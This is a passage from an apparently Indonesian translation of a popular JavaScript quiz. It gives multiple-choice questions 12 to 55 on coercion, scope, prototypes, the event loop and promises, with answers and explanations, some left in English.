\n\n#### Jawaban: A\n\nPada `sarah`, kita tidak menggunakan kata kunci `new`. Saat menggunakan `new`, Ini mengacu pada object kosong yang kita buat. Namun, jika Anda tidak menambahkan `new` ini merujuk pada **global object**!\n\nKita tahu bahwa `this.firstName` setara dengan `\"Sarah\"` dan `this.lastName` sama dengan `\"Smith\"`. Apa yang sebenarnya kami lakukan adalah mendefinisikan `global.firstName = 'Sarah'` dan `global.lastName = 'Smith'`. `sarah` sendiri dibiarkan `undefined`, karena kita tidak mengembalikan nilai dari fungsi `Person`.\n\n

\n
\n\n---\n\n###### 13. Apa tiga fase dari event propagation?\n\n- A: Target > Capturing > Bubbling\n- B: Bubbling > Target > Capturing\n- C: Target > Bubbling > Capturing\n- D: Capturing > Target > Bubbling\n\n
Jawaban\n

\n\n#### Jawaban: D\n\nSelama fase **capturing**, event melewati elemen ancestor hingga ke elemen target. Kemudian mencapai element **target**, dan **bubbling** dimulai.\n\n\n\n

\n
\n\n---\n\n###### 14. Semua objek memiliki prototypes.\n\n- A: true\n- B: false\n\n
Jawaban\n

\n\n#### Jawaban: B\n\nSemua objek memiliki prototypes, kecuali **objek dasar**. Objek dasar adalah objek yang dibuat oleh pengguna, atau objek yang dibuat dengan menggunakan kata kunci `baru`. Objek dasar memiliki akses ke beberapa metode dan properti, seperti `.toString`. Inilah alasan mengapa Anda dapat menggunakan metode JavaScript bawaan! Semua metode tersebut tersedia di prototipe. Meskipun JavaScript tidak dapat menemukannya secara langsung di objek Anda, JavaScript berada di rantai prototipe dan menemukannya di sana, yang membuatnya dapat diakses untuk Anda.\n\n

\n
\n\n---\n\n###### 15. Apa yang akan tampil?\n\n```javascript\nfunction sum(a, b) {\n return a + b;\n}\n\nsum(1, '2');\n```\n\n- A: `NaN`\n- B: `TypeError`\n- C: `\"12\"`\n- D: `3`\n\n
Jawaban\n

\n\n#### Jawaban: C\n\nJavaScript adalah **Bahasa yang bersifat dinamis**: yang tidak menentukan jenis variabel tertentu. Values dapat secara otomatis diubah menjadi jenis lain tanpa Anda sadari, yang disebut _implicit type coercion_. **Coercion** adalah mengubah dari satu jenis ke jenis lainnya.\n\nPada contoh ini, JavaScript mengubah number `1` menjadi sebuah string, agar fungsi tersebut masuk akal dan mengembalikan nilai. Selama penambahan tipe numerik (`1`) dan tipe string (`'2'`), angka tersebut diperlakukan sebagai string. Kita bisa menggabungkan string seperti `\"Hello\" + \"World\"`, jadi yang terjadi di sini adalah `\"1\" + \"2\"` yang mengembalikan `\"12\"`.\n\n

\n
\n\n---\n\n###### 16. Apa yang akan tampil?\n\n```javascript\nlet number = 0;\nconsole.log(number++);\nconsole.log(++number);\nconsole.log(number);\n```\n\n- A: `1` `1` `2`\n- B: `1` `2` `2`\n- C: `0` `2` `2`\n- D: `0` `1` `2`\n\n
Jawaban\n

\n\n#### Jawaban: C\n\n**Akhiran** operator unary `++`:\n\n1. Mengembalikan nilai (ini mengembalikan `0`)\n2. Menambahkan nilai (angkanya sekarang `1`)\n\n**Awalan** operator unary `++`:\n\n1. Menambah nilai (angkanya sekarang `2`)\n2. Mengembalikan nilai (ini mengembalikan `2`)\n\nIni mengembalikan `0 2 2`.\n\n

\n
\n\n---\n\n###### 17. Apa yang akan tampil?\n\n```javascript\nfunction getPersonInfo(one, two, three) {\n console.log(one);\n console.log(two);\n console.log(three);\n}\n\nconst person = 'Lydia';\nconst age = 21;\n\ngetPersonInfo`${person} is ${age} years old`;\n```\n\n- A: `\"Lydia\"` `21` `[\"\", \" is \", \" years old\"]`\n- B: `[\"\", \" is \", \" years old\"]` `\"Lydia\"` `21`\n- C: `\"Lydia\"` `[\"\", \" is \", \" years old\"]` `21`\n\n
Jawaban\n

\n\n#### Jawaban: B\n\nJika Anda menggunakan literal template yang diberi tag, nilai argumen pertama selalu berupa array bernilai string. Argumen yang tersisa mendapatkan nilai dari ekspresi yang diteruskan!\n\n

\n
\n\n---\n\n###### 18. Apa yang akan tampil?\n\n```javascript\nfunction checkAge(data) {\n if (data === { age: 18 }) {\n console.log('You are an adult!');\n } else if (data == { age: 18 }) {\n console.log('You are still an adult.');\n } else {\n console.log(`Hmm.. You don't have an age I guess`);\n }\n}\n\ncheckAge({ age: 18 });\n```\n\n- A: `You are an adult!`\n- B: `You are still an adult.`\n- C: `Hmm.. You don't have an age I guess`\n\n
Jawaban\n

\n\n#### Jawaban: C\n\nSaat menguji persamaan, primitif dibandingkan dengan nilainya, sedangkan objek dibandingkan dengan referensinya. JavaScript memeriksa apakah objek memiliki referensi ke lokasi yang sama di memori.\n\nDua objek yang kita bandingkan tidak memiliki itu: objek yang kita lewati sebagai parameter merujuk ke lokasi yang berbeda dalam memori dari objek yang kita gunakan untuk memeriksa persamaan.\n\nInilah mengapa `{age: 18} === {age: 18}` dan `{age: 18} == {age: 18}` mengembalikan nilai `false`.\n\n

\n
\n\n---\n\n###### 19. Apa yang akan tampil?\n\n```javascript\nfunction getAge(...args) {\n console.log(typeof args);\n}\n\ngetAge(21);\n```\n\n- A: `\"number\"`\n- B: `\"array\"`\n- C: `\"object\"`\n- D: `\"NaN\"`\n\n
Jawaban\n

\n\n#### Jawaban: C\n\nParameter sisanya (`... args`.) Memungkinkan kita \"mengumpulkan\" semua argumen yang tersisa ke dalam sebuah array. Array adalah sebuah objek, jadi `typeof args` mengembalikan \"objek\"\n\n

\n
\n\n---\n\n###### 20. Apa yang akan tampil?\n\n```javascript\nfunction getAge() {\n 'use strict';\n age = 21;\n console.log(age);\n}\n\ngetAge();\n```\n\n- A: `21`\n- B: `undefined`\n- C: `ReferenceError`\n- D: `TypeError`\n\n
Jawaban\n

\n\n#### Jawaban: C\n\nDengan `\" use strict \"`, Anda dapat memastikan bahwa Anda tidak mendeklarasikan variabel global secara tidak sengaja. Kita tidak pernah mendeklarasikan variabel `age`, dan karena kita menggunakan `\" use strict \"`, ini akan memunculkan kesalahan referensi. Jika kita tidak menggunakan `\" use strict \"`, ini akan berhasil, karena properti `age` akan ditambahkan ke objek global.\n\n

\n
\n\n---\n\n###### 21. What's value of `sum`?\n\n```javascript\nconst sum = eval('10*10+5');\n```\n\n- A: `105`\n- B: `\"105\"`\n- C: `TypeError`\n- D: `\"10*10+5\"`\n\n
Jawaban\n

\n\n#### Jawaban: A\n\n`eval` mengevaluasi kode yang berlalu sebagai string. Jika itu adalah ekspresi, seperti dalam kasus ini, itu mengevaluasi ekspresi. Ungkapannya adalah `10 * 10 + 5`. Ini kembali nomor `105`.\n\n

\n
\n\n---\n\n###### 22. Sampai berapa lama kah cool_secret dapat diakses?\n\n```javascript\nsessionStorage.setItem('cool_secret', 123);\n```\n\n- A: Selamanya, data tersebut tidak akan hilang.\n- B: Saat pengguna menutup tab browser.\n- C: Saat pengguna menutup seluruh browser, tidak hanya tab.\n- D: Saat pengguna mematikan komputernya.\n\n
Jawaban\n

\n\n#### Jawaban: B\n\nData yang disimpan di `sessionStorage` akan dihapus setelah menutup _tab_.\n\nJika anda menggunakan `localStorage`, data tersebut akan tersimpan selamanya, kecuali misalnya _method_ `localStorage.clear()` dipanggil.\n\n

\n
\n\n---\n\n###### 23. Apa yang akan tampil?\n\n```javascript\nvar num = 8;\nvar num = 10;\n\nconsole.log(num);\n```\n\n- A: `8`\n- B: `10`\n- C: `SyntaxError`\n- D: `ReferenceError`\n\n
Jawaban\n

\n\n#### Jawaban: B\n\nDengan kata kunci `var`, anda dapat menyatakan beberapa variabel dengan nama yang sama. Variabelnya akan memegang nilai terakhir.\n\nAnda tidak dapat melakukan ini dengan `let` atau `const` karena mereka block-scoped.\n\n

\n
\n\n---\n\n###### 24. Apa yang akan tampil?\n\n```javascript\nconst obj = { 1: 'a', 2: 'b', 3: 'c' };\nconst set = new Set([1, 2, 3, 4, 5]);\n\nobj.hasOwnProperty('1');\nobj.hasOwnProperty(1);\nset.has('1');\nset.has(1);\n```\n\n- A: `false` `true` `false` `true`\n- B: `false` `true` `true` `true`\n- C: `true` `true` `false` `true`\n- D: `true` `true` `true` `true`\n\n
Jawaban\n

\n\n#### Jawaban: C\n\nAll object keys (excluding Symbols) are strings under the hood, even if you don't type it yourself as a string. This is why `obj.hasOwnProperty('1')` also returns true.\n\nIt doesn't work that way for a set. There is no `'1'` in our set: `set.has('1')` returns `false`. It has the numeric type `1`, `set.has(1)` returns `true`.\n\n

\n
\n\n---\n\n###### 25. Apa yang akan tampil?\n\n```javascript\nconst obj = { a: 'one', b: 'two', a: 'three' };\nconsole.log(obj);\n```\n\n- A: `{ a: \"one\", b: \"two\" }`\n- B: `{ b: \"two\", a: \"three\" }`\n- C: `{ a: \"three\", b: \"two\" }`\n- D: `SyntaxError`\n\n
Jawaban\n

\n\n#### Jawaban: C\n\nJika anda memiliki dua kunci dengan nama yang sama, kunci akan diganti. Ini masih dalam posisi pertama, tetapi dengan nilai terakhir yang ditentukan.\n\n

\n
\n\n---\n\n###### 26. The JavaScript global execution context creates two things for you: the global object, and the \"this\" keyword.\n\n- A: true\n- B: false\n- C: it depends\n\n
Jawaban\n

\n\n#### Jawaban: A\n\nThe base execution context is the global execution context: it's what's accessible everywhere in your code.\n\n

\n
\n\n---\n\n###### 27. Apa yang akan tampil?\n\n```javascript\nfor (let i = 1; i < 5; i++) {\n if (i === 3) continue;\n console.log(i);\n}\n```\n\n- A: `1` `2`\n- B: `1` `2` `3`\n- C: `1` `2` `4`\n- D: `1` `3` `4`\n\n
Jawaban\n

\n\n#### Jawaban: C\n\nPernyataan `continue` melewatkan iterasi jika kondisi tertentu mengembalikan `true`.\n\n

\n
\n\n---\n\n###### 28. Apa yang akan tampil?\n\n```javascript\nString.prototype.giveLydiaPizza = () => {\n return 'Just give Lydia pizza already!';\n};\n\nconst name = 'Lydia';\n\nconsole.log(name.giveLydiaPizza())\n```\n\n- A: `\"Just give Lydia pizza already!\"`\n- B: `TypeError: not a function`\n- C: `SyntaxError`\n- D: `undefined`\n\n
Jawaban\n

\n\n#### Jawaban: A\n\n`String` adalah konstruksi dibangun, yang dapat kita tambahkan properti ke. Aku hanya menambahkan metode ke prototipe. String primitif string secara otomatis dikonversi menjadi objek string, dihasilkan oleh fungsi prototipe string. Jadi, semua string (objek string) memiliki akses ke metode itu!\n\n

\n
\n\n---\n\n###### 29. Apa yang akan tampil?\n\n```javascript\nconst a = {};\nconst b = { key: 'b' };\nconst c = { key: 'c' };\n\na[b] = 123;\na[c] = 456;\n\nconsole.log(a[b]);\n```\n\n- A: `123`\n- B: `456`\n- C: `undefined`\n- D: `ReferenceError`\n\n
Jawaban\n

\n\n#### Jawaban: B\n\nObject keys are automatically converted into strings. We are trying to set an object as a key to object `a`, with the value of `123`.\n\nHowever, when we stringify an object, it becomes `\"[object Object]\"`. So what we are saying here, is that `a[\"object Object\"] = 123`. Then, we can try to do the same again. `c` is another object that we are implicitly stringifying. So then, `a[\"object Object\"] = 456`.\n\nThen, we log `a[b]`, which is actually `a[\"object Object\"]`. We just set that to `456`, so it returns `456`.\n\n

\n
\n\n---\n\n###### 30. Apa yang akan tampil?\n\n```javascript\nconst foo = () => console.log('First');\nconst bar = () => setTimeout(() => console.log('Second'));\nconst baz = () => console.log('Third');\n\nbar();\nfoo();\nbaz();\n```\n\n- A: `First` `Second` `Third`\n- B: `First` `Third` `Second`\n- C: `Second` `First` `Third`\n- D: `Second` `Third` `First`\n\n
Jawaban\n

\n\n#### Jawaban: B\n\nKami memiliki fungsi `setTimeout` dan dimohonkan terlebih dahulu. Namun, itu login terakhir.\n\nHal ini karena di browsers, kita tidak hanya memiliki mesin waktu runtime, kita juga memiliki sesuatu yang disebut `WebAPI`. `WebAPI` memberi kita fungsi `setTimeout`, dan misalnya DOM.\n\nSetelah _callback_ (panggilan balik) didorong ke WebAPI, fungsi `setTimeout` itu sendiri (tetapi tidak panggilan balik) muncul dari tumpukan.\n\n\n\nSekarang, `foo` mendapat hambatan, dan `\"First\"` yang login.\n\n\n\n`foo` yang muncul dari tumpukan, dan `baz` mendapat perantara. `\"Third\"` akan login.\n\n\n\nWebAPI tidak bisa hanya menambahkan barang-barang ke tumpukan setiap kali siap. Sebaliknya, ia mendorong fungsi panggilan balik ke sesuatu yang disebut _queue_ (antrian).\n\n\n\nDi sinilah serangkaian acara mulai bekerja. Sebuah **event loop** (putaran kejadian/peristiwa) melihat tumpukan dan antrian tugas. Jika tumpukan kosong, itu mengambil hal pertama pada antrian dan mendorong ke tumpukan.\n\n\n\n`bar` bisa dipanggil, `\"Second\"` akan login, dan itu muncul dari tumpukan.\n\n

\n
\n\n---\n\n###### 31. What is the event.target when clicking the button?\n\n```html\n
\n
\n \n
\n
\n```\n\n- A: Outer `div`\n- B: Inner `div`\n- C: `button`\n- D: An array of all nested elements.\n\n
Jawaban\n

\n\n#### Jawaban: C\n\nThe deepest nested element that caused the event is the target of the event. You can stop bubbling by `event.stopPropagation`\n\n

\n
\n\n---\n\n###### 32. When you click the paragraph, what's the logged output?\n\n```html\n
\n

\n Click here!\n

\n
\n```\n\n- A: `p` `div`\n- B: `div` `p`\n- C: `p`\n- D: `div`\n\n
Jawaban\n

\n\n#### Jawaban: A\n\nIf we click `p`, we see two logs: `p` and `div`. During event propagation, there are 3 phases: capturing, target, and bubbling. By default, event handlers are executed in the bubbling phase (unless you set `useCapture` to `true`). It goes from the deepest nested element outwards.\n\n

\n
\n\n---\n\n###### 33. Apa yang akan tampil?\n\n```javascript\nconst person = { name: 'Lydia' };\n\nfunction sayHi(age) {\n return `${this.name} is ${age}`;\n}\n\nconsole.log(sayHi.call(person, 21));\nconsole.log(sayHi.bind(person, 21));\n```\n\n- A: `undefined is 21` `Lydia is 21`\n- B: `function` `function`\n- C: `Lydia is 21` `Lydia is 21`\n- D: `Lydia is 21` `function`\n\n
Jawaban\n

\n\n#### Jawaban: D\n\nWith both, we can pass the object to which we want the `this` keyword to refer to. However, `.call` is also _executed immediately_!\n\n`.bind.` returns a _copy_ of the function, but with a bound context! It is not executed immediately.\n\n

\n
\n\n---\n\n###### 34. Apa yang akan tampil?\n\n```javascript\nfunction sayHi() {\n return (() => 0)();\n}\n\nconsole.log(typeof sayHi());\n```\n\n- A: `\"object\"`\n- B: `\"number\"`\n- C: `\"function\"`\n- D: `\"undefined\"`\n\n
Jawaban\n

\n\n#### Jawaban: B\n\nThe `sayHi` function returns the returned value of the immediately invoked function (IIFE). This function returned `0`, which is type `\"number\"`.\n\nFYI: there are only 7 built-in types: `null`, `undefined`, `boolean`, `number`, `string`, `object`, `symbol`, and `bigint`. `\"function\"` is not a type, since functions are objects, it's of type `\"object\"`.\n\n

\n
\n\n---\n\n###### 35. Which of these values are falsy?\n\n```javascript\n0;\nnew Number(0);\n('');\n(' ');\nnew Boolean(false);\nundefined;\n```\n\n- A: `0`, `''`, `undefined`\n- B: `0`, `new Number(0)`, `''`, `new Boolean(false)`, `undefined`\n- C: `0`, `''`, `new Boolean(false)`, `undefined`\n- D: All of them are falsy\n\n
Jawaban\n

\n\n#### Jawaban: A\n\nHanya ada enam nilai yang salah:\n\n- `undefined`\n- `null`\n- `NaN`\n- `0`\n- `''` (string kosong)\n- `false`\n\nKonstruktor fungsi, seperti Number baru dan Boolean baru, benar.\n\n

\n
\n\n---\n\n###### 36. Apa yang akan tampil?\n\n```javascript\nconsole.log(typeof typeof 1);\n```\n\n- A: `\"number\"`\n- B: `\"string\"`\n- C: `\"object\"`\n- D: `\"undefined\"`\n\n
Jawaban\n

\n\n#### Jawaban: B\n\n`typeof 1` returns `\"number\"`.\n`typeof \"number\"` returns `\"string\"`\n\n

\n
\n\n---\n\n###### 37. Apa yang akan tampil?\n\n```javascript\nconst numbers = [1, 2, 3];\nnumbers[10] = 11;\nconsole.log(numbers);\n```\n\n- A: `[1, 2, 3, 7 x null, 11]`\n- B: `[1, 2, 3, 11]`\n- C: `[1, 2, 3, 7 x empty, 11]`\n- D: `SyntaxError`\n\n
Jawaban\n

\n\n#### Jawaban: C\n\nSaat Anda menyetel nilai ke elemen dalam larik yang melebihi panjang larik, JavaScript membuat sesuatu yang disebut \"slot kosong\". Ini sebenarnya memiliki nilai `tidak terdefinisi`, tetapi Anda akan melihat sesuatu seperti:\n\n`[1, 2, 3, 7 x empty, 11]`\n\ntergantung di mana Anda menjalankannya (berbeda untuk setiap browser, node, dll.)\n\n

\n
\n\n---\n\n###### 38. Apa yang akan tampil?\n\n```javascript\n(() => {\n let x, y;\n try {\n throw new Error();\n } catch (x) {\n (x = 1), (y = 2);\n console.log(x);\n }\n console.log(x);\n console.log(y);\n})();\n```\n\n- A: `1` `undefined` `2`\n- B: `undefined` `undefined` `undefined`\n- C: `1` `1` `2`\n- D: `1` `undefined` `undefined`\n\n
Jawaban\n

\n\n#### Jawaban: A\n\nThe `catch` block receives the argument `x`. This is not the same `x` as the variable when we pass arguments. This variable `x` is block-scoped.\n\nLater, we set this block-scoped variable equal to `1`, and set the value of the variable `y`. Now, we log the block-scoped variable `x`, which is equal to `1`.\n\nOutside of the `catch` block, `x` is still `undefined`, and `y` is `2`. When we want to `console.log(x)` outside of the `catch` block, it returns `undefined`, and `y` returns `2`.\n\n

\n
\n\n---\n\n###### 39. Everything in JavaScript is either a...\n\n- A: primitive or object\n- B: function or object\n- C: trick question! only objects\n- D: number or object\n\n
Jawaban\n

\n\n#### Jawaban: A\n\nJavaScript only has primitive types and objects.\n\nPrimitive types are `boolean`, `null`, `undefined`, `bigint`, `number`, `string`, and `symbol`.\n\nWhat differentiates a primitive from an object is that primitives do not have any properties or methods; however, you'll note that `'foo'.toUpperCase()` evaluates to `'FOO'` and does not result in a `TypeError`. This is because when you try to access a property or method on a primitive like a string, JavaScript will implicitly wrap the object using one of the wrapper classes, i.e. `String`, and then immediately discard the wrapper after the expression evaluates. All primitives except for `null` and `undefined` exhibit this behaviour.\n\n

\n
\n\n---\n\n###### 40. Apa yang akan tampil?\n\n```javascript\n[[0, 1], [2, 3]].reduce(\n (acc, cur) => {\n return acc.concat(cur);\n },\n [1, 2],\n);\n```\n\n- A: `[0, 1, 2, 3, 1, 2]`\n- B: `[6, 1, 2]`\n- C: `[1, 2, 0, 1, 2, 3]`\n- D: `[1, 2, 6]`\n\n
Jawaban\n

\n\n#### Jawaban: C\n\n`[1, 2]` is our initial value. This is the value we start with, and the value of the very first `acc`. During the first round, `acc` is `[1,2]`, and `cur` is `[0, 1]`. We concatenate them, which results in `[1, 2, 0, 1]`.\n\nThen, `[1, 2, 0, 1]` is `acc` and `[2, 3]` is `cur`. We concatenate them, and get `[1, 2, 0, 1, 2, 3]`\n\n

\n
\n\n---\n\n###### 41. Apa yang akan tampil?\n\n```javascript\n!!null;\n!!'';\n!!1;\n```\n\n- A: `false` `true` `false`\n- B: `false` `false` `true`\n- C: `false` `true` `true`\n- D: `true` `true` `false`\n\n
Jawaban\n

\n\n#### Jawaban: B\n\n`null` is falsy. `!null` returns `true`. `!true` returns `false`.\n\n`\"\"` is falsy. `!\"\"` returns `true`. `!true` returns `false`.\n\n`1` is truthy. `!1` returns `false`. `!false` returns `true`.\n\n

\n
\n\n---\n\n###### 42. What does the `setInterval` method return in the browser?\n\n```javascript\nsetInterval(() => console.log('Hi'), 1000);\n```\n\n- A: a unique id\n- B: the amount of milliseconds specified\n- C: the passed function\n- D: `undefined`\n\n
Jawaban\n

\n\n#### Jawaban: A\n\nItu adalah mengembalikan sebuah id unik. id unik dapat digunakan untuk menghapus interval dengan menggunakan fungsi clearInterval()\n\n

\n
\n\n---\n\n###### 43. What does this return?\n\n```javascript\n[...'Lydia'];\n```\n\n- A: `[\"L\", \"y\", \"d\", \"i\", \"a\"]`\n- B: `[\"Lydia\"]`\n- C: `[[], \"Lydia\"]`\n- D: `[[\"L\", \"y\", \"d\", \"i\", \"a\"]]`\n\n
Jawaban\n

\n\n#### Jawaban: A\n\nSebuah string adalah iterable. Operator memetakan setiap karakter dari sebuah iterable ke dalam satu elemen.\n\n

\n
\n\n---\n\n###### 44. Apa yang akan tampil?\n\n```javascript\nfunction* generator(i) {\n yield i;\n yield i * 2;\n}\n\nconst gen = generator(10);\n\nconsole.log(gen.next().value);\nconsole.log(gen.next().value);\n```\n\n- A: `[0, 10], [10, 20]`\n- B: `20, 20`\n- C: `10, 20`\n- D: `0, 10 dan 10, 20`\n\n
Jawaban\n

\n\n#### Jawaban: C\n\nRegular functions cannot be stopped mid-way after invocation. However, a generator function can be \"stopped\" midway, and later continue from where it stopped. Every time a generator function encounters a `yield` keyword, the function yields the value specified after it. Note that the generator function in that case doesn’t _return_ the value, it _yields_ the value.\n\nFirst, we initialize the generator function with `i` equal to `10`. We invoke the generator function using the `next()` method. The first time we invoke the generator function, `i` is equal to `10`. It encounters the first `yield` keyword: it yields the value of `i`. The generator is now \"paused\", and `10` gets logged.\n\nThen, we invoke the function again with the `next()` method. It starts to continue where it stopped previously, still with `i` equal to `10`. Now, it encounters the next `yield` keyword, and yields `i * 2`. `i` is equal to `10`, so it returns `10 * 2`, which is `20`. This results in `10, 20`.\n\n

\n
\n\n---\n\n###### 45. What does this return?\n\n```javascript\nconst firstPromise = new Promise((res, rej) => {\n setTimeout(res, 500, 'one');\n});\n\nconst secondPromise = new Promise((res, rej) => {\n setTimeout(res, 100, 'two');\n});\n\nPromise.race([firstPromise, secondPromise]).then(res => console.log(res));\n```\n\n- A: `\"one\"`\n- B: `\"two\"`\n- C: `\"two\" \"one\"`\n- D: `\"one\" \"two\"`\n\n
Jawaban\n

\n\n#### Jawaban: B\n\nWhen we pass multiple promises to the `Promise.race` method, it resolves/rejects the _first_ promise that resolves/rejects. To the `setTimeout` method, we pass a timer: 500ms for the first promise (`firstPromise`), and 100ms for the second promise (`secondPromise`). This means that the `secondPromise` resolves first with the value of `'two'`. `res` now holds the value of `'two'`, which gets logged.\n\n

\n
\n\n---\n\n###### 46. Apa yang akan tampil?\n\n```javascript\nlet person = { name: 'Lydia' };\nconst members = [person];\nperson = null;\n\nconsole.log(members);\n```\n\n- A: `null`\n- B: `[null]`\n- C: `[{}]`\n- D: `[{ name: \"Lydia\" }]`\n\n
Jawaban\n

\n\n#### Jawaban: D\n\nFirst, we declare a variable `person` with the value of an object that has a `name` property.\n\n\n\nThen, we declare a variable called `members`. We set the first element of that array equal to the value of the `person` variable. Objects interact by _reference_ when setting them equal to each other. When you assign a reference from one variable to another, you make a _copy_ of that reference. (note that they don't have the _same_ reference!)\n\n\n\nThen, we set the variable `person` equal to `null`.\n\n\n\nWe are only modifying the value of the `person` variable, and not the first element in the array, since that element has a different (copied) reference to the object. The first element in `members` still holds its reference to the original object. When we log the `members` array, the first element still holds the value of the object, which gets logged.\n\n

\n
\n\n---\n\n###### 47. Apa yang akan tampil?\n\n```javascript\nconst person = {\n name: 'Lydia',\n age: 21,\n};\n\nfor (const item in person) {\n console.log(item);\n}\n```\n\n- A: `{ name: \"Lydia\" }, { age: 21 }`\n- B: `\"name\", \"age\"`\n- C: `\"Lydia\", 21`\n- D: `[\"name\", \"Lydia\"], [\"age\", 21]`\n\n
Jawaban\n

\n\n#### Jawaban: B\n\nWith a `for-in` loop, we can iterate through object keys, in this case `name` and `age`. Under the hood, object keys are strings (if they're not a Symbol). On every loop, we set the value of `item` equal to the current key it’s iterating over. First, `item` is equal to `name`, and gets logged. Then, `item` is equal to `age`, which gets logged.\n\n

\n
\n\n---\n\n###### 48. Apa yang akan tampil?\n\n```javascript\nconsole.log(3 + 4 + '5');\n```\n\n- A: `\"345\"`\n- B: `\"75\"`\n- C: `12`\n- D: `\"12\"`\n\n
Jawaban\n

\n\n#### Jawaban: B\n\nOperator associativity is the order in which the compiler evaluates the expressions, either left-to-right or right-to-left. This only happens if all operators have the _same_ precedence. We only have one type of operator: `+`. For addition, the associativity is left-to-right.\n\n`3 + 4` gets evaluated first. This results in the number `7`.\n\n`7 + '5'` results in `\"75\"` because of coercion. JavaScript converts the number `7` into a string, see question 15. We can concatenate two strings using the `+`operator. `\"7\" + \"5\"` results in `\"75\"`.\n\n

\n
\n\n---\n\n###### 49. What's the value of `num`?\n\n```javascript\nconst num = parseInt('7*6', 10);\n```\n\n- A: `42`\n- B: `\"42\"`\n- C: `7`\n- D: `NaN`\n\n
Jawaban\n

\n\n#### Jawaban: C\n\nOnly the first numbers in the string is returned. Based on the _radix_ (the second argument in order to specify what type of number we want to parse it to: base 10, hexadecimal, octal, binary, etc.), the `parseInt` checks whether the characters in the string are valid. Once it encounters a character that isn't a valid number in the radix, it stops parsing and ignores the following characters.\n\n`*` is not a valid number. It only parses `\"7\"` into the decimal `7`. `num` now holds the value of `7`.\n\n

\n
\n\n---\n\n###### 50. What's the output`?\n\n```javascript\n[1, 2, 3].map(num => {\n if (typeof num === 'number') return;\n return num * 2;\n});\n```\n\n- A: `[]`\n- B: `[null, null, null]`\n- C: `[undefined, undefined, undefined]`\n- D: `[ 3 x empty ]`\n\n
Jawaban\n

\n\n#### Jawaban: C\n\nWhen mapping over the array, the value of `num` is equal to the element it’s currently looping over. In this case, the elements are numbers, so the condition of the if statement `typeof num === \"number\"` returns `true`. The map function creates a new array and inserts the values returned from the function.\n\nHowever, we don’t return a value. When we don’t return a value from the function, the function returns `undefined`. For every element in the array, the function block gets called, so for each element we return `undefined`.\n\n

\n
\n\n---\n\n###### 51. Apa yang akan tampil?\n\n```javascript\nfunction getInfo(member, year) {\n member.name = 'Lydia';\n year = '1998';\n}\n\nconst person = { name: 'Sarah' };\nconst birthYear = '1997';\n\ngetInfo(person, birthYear);\n\nconsole.log(person, birthYear);\n```\n\n- A: `{ name: \"Lydia\" }, \"1997\"`\n- B: `{ name: \"Sarah\" }, \"1998\"`\n- C: `{ name: \"Lydia\" }, \"1998\"`\n- D: `{ name: \"Sarah\" }, \"1997\"`\n\n
Jawaban\n

\n\n#### Jawaban: A\n\nArguments are passed by _value_, unless their value is an object, then they're passed by _reference_. `birthYear` is passed by value, since it's a string, not an object. When we pass arguments by value, a _copy_ of that value is created (see question 46).\n\nThe variable `birthYear` has a reference to the value `\"1997\"`. The argument `year` also has a reference to the value `\"1997\"`, but it's not the same value as `birthYear` has a reference to. When we update the value of `year` by setting `year` equal to `\"1998\"`, we are only updating the value of `year`. `birthYear` is still equal to `\"1997\"`.\n\nThe value of `person` is an object. The argument `member` has a (copied) reference to the _same_ object. When we modify a property of the object `member` has a reference to, the value of `person` will also be modified, since they both have a reference to the same object. `person`'s `name` property is now equal to the value `\"Lydia\"`\n\n

\n
\n\n---\n\n###### 52. Apa yang akan tampil?\n\n```javascript\nfunction greeting() {\n throw 'Hello world!';\n}\n\nfunction sayHi() {\n try {\n const data = greeting();\n console.log('It worked!', data);\n } catch (e) {\n console.log('Oh no an error:', e);\n }\n}\n\nsayHi();\n```\n\n- A: `It worked! Hello world!`\n- B: `Oh no an error: undefined`\n- C: `SyntaxError: can only throw Error objects`\n- D: `Oh no an error: Hello world!`\n\n
Jawaban\n

\n\n#### Jawaban: D\n\nWith the `throw` statement, we can create custom errors. With this statement, you can throw exceptions. An exception can be a string, a number, a boolean or an object. In this case, our exception is the string `'Hello world'`.\n\nWith the `catch` statement, we can specify what to do if an exception is thrown in the `try` block. An exception is thrown: the string `'Hello world'`. `e` is now equal to that string, which we log. This results in `'Oh an error: Hello world'`.\n\n

\n
\n\n---\n\n###### 53. Apa yang akan tampil?\n\n```javascript\nfunction Car() {\n this.make = 'Lamborghini';\n return { make: 'Maserati' };\n}\n\nconst myCar = new Car();\nconsole.log(myCar.make);\n```\n\n- A: `\"Lamborghini\"`\n- B: `\"Maserati\"`\n- C: `ReferenceError`\n- D: `TypeError`\n\n
Jawaban\n

\n\n#### Jawaban: B\n\nWhen you return a property, the value of the property is equal to the _returned_ value, not the value set in the constructor function. We return the string `\"Maserati\"`, so `myCar.make` is equal to `\"Maserati\"`.\n\n

\n
\n\n---\n\n###### 54. Apa yang akan tampil?\n\n```javascript\n(() => {\n let x = (y = 10);\n})();\n\nconsole.log(typeof x);\nconsole.log(typeof y);\n```\n\n- A: `\"undefined\", \"number\"`\n- B: `\"number\", \"number\"`\n- C: `\"object\", \"number\"`\n- D: `\"number\", \"undefined\"`\n\n
Jawaban\n

\n\n#### Jawaban: A\n\n`let x = y = 10;` is actually shorthand for:\n\n```javascript\ny = 10;\nlet x = y;\n```\n\nWhen we set `y` equal to `10`, we actually add a property `y` to the global object (`window` in browser, `global` in Node). In a browser, `window.y` is now equal to `10`.\n\nThen, we declare a variable `x` with the value of `y`, which is `10`. Variables declared with the `let` keyword are _block scoped_, they are only defined within the block they're declared in; the immediately-invoked function (IIFE) in this case. When we use the `typeof` operator, the operand `x` is not defined: we are trying to access `x` outside of the block it's declared in. This means that `x` is not defined. Values who haven't been assigned a value or declared are of type `\"undefined\"`. `console.log(typeof x)` returns `\"undefined\"`.\n\nHowever, we created a global variable `y` when setting `y` equal to `10`. This value is accessible anywhere in our code. `y` is defined, and holds a value of type `\"number\"`. `console.log(typeof y)` returns `\"number\"`.\n\n

\n
\n\n---\n\n###### 55. Apa yang akan tampil?\n\n```javascript\nclass Dog {\n constructor(name) {\n this.name = name;\n }\n}\n\nDog.prototype.bark = function() {\n console.log(`Woof I am ${this.name}`);\n};\n\nconst pet = new Dog('Mara');\n\npet.bark();\n\ndelete Dog.prototype.bark;\n\npet.bark();\n```\n\n- A: `\"Woof I am Mara\"`, `TypeError`\n- B: `\"Woof I am Mara\"`, `\"Woof I am Mara\"`\n- C: `\"Woof I am Mara\"`, `undefined`\n- D: `TypeError`, `TypeError`\n\n
Jawaban\n

